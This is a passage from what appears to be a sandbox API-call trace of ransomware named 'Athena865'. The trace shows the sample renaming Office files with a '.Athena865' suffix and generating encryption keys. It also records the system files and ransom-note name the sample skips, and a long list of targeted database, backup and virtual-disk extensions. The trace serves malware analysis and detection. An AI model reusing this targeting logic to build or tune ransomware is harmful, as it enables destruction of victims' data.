param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN.Athena865") returned 87 [0139.946] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn.athena865"), dwFlags=0x1) returned 1 [0139.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.948] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19838) returned 1 [0139.948] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.948] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.948] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.949] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5080, lpName=0x0) returned 0x154 [0139.955] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5080) returned 0x100000 [0139.958] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.959] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.959] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.960] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EAWFINTL.DLL" | out: lpString1="EAWFINTL.DLL") returned="EAWFINTL.DLL" [0139.960] lstrlenW (lpString="EAWFINTL.DLL") returned 12 [0139.960] lstrlenW (lpString="Athena865") returned 9 [0139.961] lstrcmpiW (lpString1="FINTL.DLL", lpString2="Athena865") returned 1 [0139.961] lstrlenW (lpString=".dll") returned 4 [0139.961] lstrcmpiW (lpString1="EAWFINTL.DLL", lpString2=".dll") returned 1 [0139.962] lstrlenW (lpString=".lnk") returned 4 [0139.962] lstrcmpiW (lpString1="EAWFINTL.DLL", lpString2=".lnk") returned 1 [0139.962] lstrlenW (lpString=".ini") returned 4 [0139.962] lstrcmpiW (lpString1="EAWFINTL.DLL", lpString2=".ini") returned 1 [0139.962] lstrlenW (lpString=".sys") returned 4 [0139.962] lstrcmpiW (lpString1="EAWFINTL.DLL", lpString2=".sys") returned 1 [0139.962] lstrlenW (lpString="EAWFINTL.DLL") returned 12 [0139.962] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL.Athena865") returned 70 [0139.962] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll.athena865"), dwFlags=0x1) returned 1 [0139.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EAWFINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eawfintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0139.970] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=51600) returned 1 [0139.970] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0139.973] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0139.973] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.973] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc90, lpName=0x0) returned 0x154 [0139.975] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xcc90) returned 0x100000 [0139.986] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0139.988] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0139.988] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0139.997] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EDITRES.DLL" | out: lpString1="EDITRES.DLL") returned="EDITRES.DLL" [0139.997] lstrlenW (lpString="EDITRES.DLL") returned 11 [0139.998] lstrlenW (lpString="Athena865") returned 9 [0139.998] lstrcmpiW (lpString1="ITRES.DLL", lpString2="Athena865") returned 1 [0139.998] lstrlenW (lpString=".dll") returned 4 [0139.998] lstrcmpiW (lpString1="EDITRES.DLL", lpString2=".dll") returned 1 [0139.998] lstrlenW (lpString=".lnk") returned 4 [0139.998] lstrcmpiW (lpString1="EDITRES.DLL", lpString2=".lnk") returned 1 [0139.998] lstrlenW (lpString=".ini") returned 4 [0139.998] lstrcmpiW (lpString1="EDITRES.DLL", lpString2=".ini") returned 1 [0139.998] lstrlenW (lpString=".sys") returned 4 [0139.998] lstrcmpiW (lpString1="EDITRES.DLL", lpString2=".sys") returned 1 [0139.998] lstrlenW (lpString="EDITRES.DLL") returned 11 [0139.998] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL.Athena865") returned 69 [0139.998] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll.athena865"), dwFlags=0x1) returned 1 [0140.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EDITRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\editres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0140.000] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19840) returned 1 [0140.000] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ee58) returned 1 [0140.006] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0140.006] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.006] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5080, lpName=0x0) returned 0x154 [0140.010] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5080) returned 0x100000 [0140.013] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ee58) returned 1 [0140.019] CryptGenRandom (in: hProv=0x54ee58, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0140.019] CryptReleaseContext (hProv=0x54ee58, dwFlags=0x0) returned 1 [0140.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0140.020] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0140.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0140.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0140.022] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0140.022] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0140.024] CloseHandle (hObject=0x154) returned 1 [0140.024] CloseHandle (hObject=0x17c) returned 1 [0140.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0140.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54edd0 | out: hHeap=0x4f0000) returned 1 [0140.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0140.025] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6b2600, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1e6b2600, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x5f88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EntityPickerIntl.dll", cAlternateFileName="ENTITY~1.DLL")) returned 1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2=".") returned 1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="..") returned 1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="windows") returned -1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="bootmgr") returned 1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="temp") returned -1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="pagefile.sys") returned -1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="boot") returned 1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="ids.txt") returned -1 [0140.026] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="ntuser.dat") returned -1 [0140.027] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="perflogs") returned -1 [0140.027] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2="MSBuild") returned -1 [0140.027] lstrlenW (lpString="EntityPickerIntl.dll") returned 20 [0140.027] lstrcpyW (in: lpString1=0x241e8a8, lpString2="EntityPickerIntl.dll" | out: lpString1="EntityPickerIntl.dll") returned="EntityPickerIntl.dll" [0140.027] lstrlenW (lpString="EntityPickerIntl.dll") returned 20 [0140.027] lstrlenW (lpString="Athena865") returned 9 [0140.027] lstrcmpiW (lpString1="rIntl.dll", lpString2="Athena865") returned 1 [0140.027] lstrlenW (lpString=".dll") returned 4 [0140.027] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2=".dll") returned 1 [0140.027] lstrlenW (lpString=".lnk") returned 4 [0140.027] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2=".lnk") returned 1 [0140.028] lstrlenW (lpString=".ini") returned 4 [0140.028] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2=".ini") returned 1 [0140.028] lstrlenW (lpString=".sys") returned 4 [0140.028] lstrcmpiW (lpString1="EntityPickerIntl.dll", lpString2=".sys") returned 1 [0140.029] lstrlenW (lpString="EntityPickerIntl.dll") returned 20 [0140.029] lstrlenW (lpString="bak") returned 3 [0140.029] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0140.029] lstrlenW (lpString="ba_") returned 3 [0140.030] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0140.030] lstrlenW (lpString="dbb") returned 3 [0140.030] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0140.030] lstrlenW (lpString="vmdk") returned 4 [0140.030] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0140.031] lstrlenW (lpString="rar") returned 3 [0140.031] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0140.031] lstrlenW (lpString="zip") returned 3 [0140.032] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0140.032] lstrlenW (lpString="tgz") returned 3 [0140.033] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0140.034] lstrlenW (lpString="vbox") returned 4 [0140.034] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0140.034] lstrlenW (lpString="vdi") returned 3 [0140.034] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0140.034] lstrlenW (lpString="vhd") returned 3 [0140.034] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0140.034] lstrlenW (lpString="vhdx") returned 4 [0140.034] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0140.034] lstrlenW (lpString="avhd") returned 4 [0140.034] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0140.034] lstrlenW (lpString="db") returned 2 [0140.035] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0140.035] lstrlenW (lpString="db2") returned 3 [0140.035] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0140.035] lstrlenW (lpString="db3") returned 3 [0140.036] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0140.037] lstrlenW (lpString="dbf") returned 3 [0140.037] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0140.037] lstrlenW (lpString="mdf") returned 3 [0140.037] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0140.037] lstrlenW (lpString="mdb") returned 3 [0140.037] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0140.037] lstrlenW (lpString="sql") returned 3 [0140.038] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0140.038] lstrlenW (lpString="sqlite") returned 6 [0140.038] lstrcmpiW (lpString1="tl.dll", lpString2="sqlite") returned 1 [0140.038] lstrlenW (lpString="sqlite3") returned 7 [0140.038] lstrcmpiW (lpString1="ntl.dll", lpString2="sqlite3") returned -1 [0140.038] lstrlenW (lpString="sqlitedb") returned 8 [0140.038] lstrcmpiW (lpString1="Intl.dll", lpString2="sqlitedb") returned -1 [0140.039] lstrlenW (lpString="xml") returned 3 [0140.039] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0140.039] lstrlenW (lpString="$er") returned 3 [0140.039] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0140.039] lstrlenW (lpString="4dd") returned 3 [0140.039] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0140.039] lstrlenW (lpString="4dl") returned 3 [0140.040] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0140.040] lstrlenW (lpString="^^^") returned 3 [0140.040] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0140.040] lstrlenW (lpString="abs") returned 3 [0140.041] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0140.041] lstrlenW (lpString="abx") returned 3 [0140.041] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0140.041] lstrlenW (lpString="accdb") returned 5 [0140.041] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0140.041] lstrlenW (lpString="accdc") returned 5 [0140.042] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0140.042] lstrlenW (lpString="accde") returned 5 [0140.042] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0140.042] lstrlenW (lpString="accdr") returned 5 [0140.043] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0140.043] lstrlenW (lpString="accdt") returned 5 [0140.043] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0140.043] lstrlenW (lpString="accdw") returned 5 [0140.043] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0140.043] lstrlenW (lpString="accft") returned 5 [0140.044] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0140.044] lstrlenW (lpString="adb") returned 3 [0140.044] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0140.044] lstrlenW (lpString="adb") returned 3 [0140.044] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0140.045] lstrlenW (lpString="ade") returned 3 [0140.045] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0140.046] lstrlenW (lpString="adf") returned 3 [0140.046] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0140.046] lstrlenW (lpString="adn") returned 3 [0140.047] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0140.047] lstrlenW (lpString="adp") returned 3 [0140.047] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0140.047] lstrlenW (lpString="alf") returned 3 [0140.047] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0140.048] lstrlenW (lpString="ask") returned 3 [0140.048] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0140.049] lstrlenW (lpString="btr") returned 3 [0140.049] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0140.049] lstrlenW (lpString="cat") returned 3 [0140.049] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0140.050] lstrlenW (lpString="cdb") returned 3 [0140.051] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0140.051] lstrlenW (lpString="ckp") returned 3 [0140.051] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0140.054] lstrlenW (lpString="cma") returned 3 [0140.054] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0140.055] lstrlenW (lpString="cpd") returned 3 [0140.055] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0140.055] lstrlenW (lpString="dacpac") returned 6 [0140.055] lstrcmpiW (lpString1="tl.dll", lpString2="dacpac") returned 1 [0140.055] lstrlenW (lpString="dad") returned 3 [0140.056] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0140.057] lstrlenW (lpString="dadiagrams") returned 10 [0140.057] lstrcmpiW (lpString1="erIntl.dll", lpString2="dadiagrams") returned 1 [0140.057] lstrlenW (lpString="daschema") returned 8 [0140.058] lstrcmpiW (lpString1="Intl.dll", lpString2="daschema") returned 1 [0140.058] lstrlenW (lpString="db-journal") returned 10 [0140.058] lstrcmpiW (lpString1="erIntl.dll", lpString2="db-journal") returned 1 [0140.058] lstrlenW (lpString="db-shm") returned 6 [0140.058] lstrcmpiW (lpString1="tl.dll", lpString2="db-shm") returned 1 [0140.058] lstrlenW (lpString="db-wal") returned 6 [0140.058] lstrcmpiW (lpString1="tl.dll", lpString2="db-wal") returned 1 [0140.058] lstrlenW (lpString="dbc") returned 3 [0140.058] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0140.058] lstrlenW (lpString="dbs") returned 3 [0140.058] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0140.058] lstrlenW (lpString="dbt") returned 3 [0140.058] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0140.058] lstrlenW (lpString="dbv") returned 3 [0140.058] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0140.058] lstrlenW (lpString="dbx") returned 3 [0140.058] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0140.059] lstrlenW (lpString="dcb") returned 3 [0140.059] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0140.059] lstrlenW (lpString="dct") returned 3 [0140.059] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0140.059] lstrlenW (lpString="dcx") returned 3 [0140.059] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0140.060] lstrlenW (lpString="ddl") returned 3 [0140.060] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0140.060] lstrlenW (lpString="dlis") returned 4 [0140.060] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0140.060] lstrlenW (lpString="dp1") returned 3 [0140.060] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0140.060] lstrlenW (lpString="dqy") returned 3 [0140.060] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0140.060] lstrlenW (lpString="dsk") returned 3 [0140.061] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0140.061] lstrlenW (lpString="dsn") returned 3 [0140.061] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0140.061] lstrlenW (lpString="dtsx") returned 4 [0140.062] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0140.062] lstrlenW (lpString="dxl") returned 3 [0140.062] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0140.063] lstrlenW (lpString="eco") returned 3 [0140.063] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0140.063] lstrlenW (lpString="ecx") returned 3 [0140.063] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0140.063] lstrlenW (lpString="edb") returned 3 [0140.063] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0140.063] lstrlenW (lpString="epim") returned 4 [0140.063] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0140.063] lstrlenW (lpString="fcd") returned 3 [0140.063] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0140.063] lstrlenW (lpString="fdb") returned 3 [0140.063] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0140.063] lstrlenW (lpString="fic") returned 3 [0140.063] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0140.063] lstrlenW (lpString="flexolibrary") returned 12 [0140.063] lstrcmpiW (lpString1="ckerIntl.dll", lpString2="flexolibrary") returned -1 [0140.063] lstrlenW (lpString="fm5") returned 3 [0140.063] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0140.063] lstrlenW (lpString="fmp") returned 3 [0140.063] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0140.063] lstrlenW (lpString="fmp12") returned 5 [0140.063] lstrcmpiW (lpString1="l.dll", lpString2="fmp12") returned 1 [0140.064] lstrlenW (lpString="fmpsl") returned 5 [0140.064] lstrcmpiW (lpString1="l.dll", lpString2="fmpsl") returned 1 [0140.064] lstrlenW (lpString="fol") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0140.064] lstrlenW (lpString="fp3") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0140.064] lstrlenW (lpString="fp4") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0140.064] lstrlenW (lpString="fp5") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0140.064] lstrlenW (lpString="fp7") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0140.064] lstrlenW (lpString="fpt") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0140.064] lstrlenW (lpString="frm") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0140.064] lstrlenW (lpString="gdb") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0140.064] lstrlenW (lpString="gdb") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0140.064] lstrlenW (lpString="grdb") returned 4 [0140.064] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0140.064] lstrlenW (lpString="gwi") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0140.064] lstrlenW (lpString="hdb") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0140.064] lstrlenW (lpString="his") returned 3 [0140.064] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0140.065] lstrlenW (lpString="ib") returned 2 [0140.065] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0140.065] lstrlenW (lpString="idb") returned 3 [0140.065] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0140.065] lstrlenW (lpString="ihx") returned 3 [0140.065] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0140.065] lstrlenW (lpString="itdb") returned 4 [0140.065] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0140.065] lstrlenW (lpString="itw") returned 3 [0140.065] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0140.065] lstrlenW (lpString="jet") returned 3 [0140.065] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0140.065] lstrlenW (lpString="jtx") returned 3 [0140.065] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0140.065] lstrlenW (lpString="kdb") returned 3 [0140.065] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0140.065] lstrlenW (lpString="kexi") returned 4 [0140.065] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0140.065] lstrlenW (lpString="kexic") returned 5 [0140.065] lstrcmpiW (lpString1="l.dll", lpString2="kexic") returned 1 [0140.065] lstrlenW (lpString="kexis") returned 5 [0140.065] lstrcmpiW (lpString1="l.dll", lpString2="kexis") returned 1 [0140.065] lstrlenW (lpString="lgc") returned 3 [0140.065] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0140.065] lstrlenW (lpString="lwx") returned 3 [0140.065] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0140.065] lstrlenW (lpString="maf") returned 3 [0140.066] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0140.066] lstrlenW (lpString="maq") returned 3 [0140.067] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0140.067] lstrlenW (lpString="mar") returned 3 [0140.067] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0140.067] lstrlenW (lpString="marshal") returned 7 [0140.067] lstrcmpiW (lpString1="ntl.dll", lpString2="marshal") returned 1 [0140.067] lstrlenW (lpString="mas") returned 3 [0140.067] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0140.067] lstrlenW (lpString="mav") returned 3 [0140.067] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0140.067] lstrlenW (lpString="maw") returned 3 [0140.068] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0140.068] lstrlenW (lpString="mdbhtml") returned 7 [0140.068] lstrcmpiW (lpString1="ntl.dll", lpString2="mdbhtml") returned 1 [0140.068] lstrlenW (lpString="mdn") returned 3 [0140.068] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0140.068] lstrlenW (lpString="mdt") returned 3 [0140.068] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0140.068] lstrlenW (lpString="mfd") returned 3 [0140.069] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0140.069] lstrlenW (lpString="mpd") returned 3 [0140.069] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0140.069] lstrlenW (lpString="mrg") returned 3 [0140.069] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0140.069] lstrlenW (lpString="mud") returned 3 [0140.069] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0140.070] lstrlenW (lpString="mwb") returned 3 [0140.070] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0140.070] lstrlenW (lpString="myd") returned 3 [0140.070] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0140.070] lstrlenW (lpString="ndf") returned 3 [0140.070] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0140.070] lstrlenW (lpString="nnt") returned 3 [0140.070] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0140.070] lstrlenW (lpString="nrmlib") returned 6 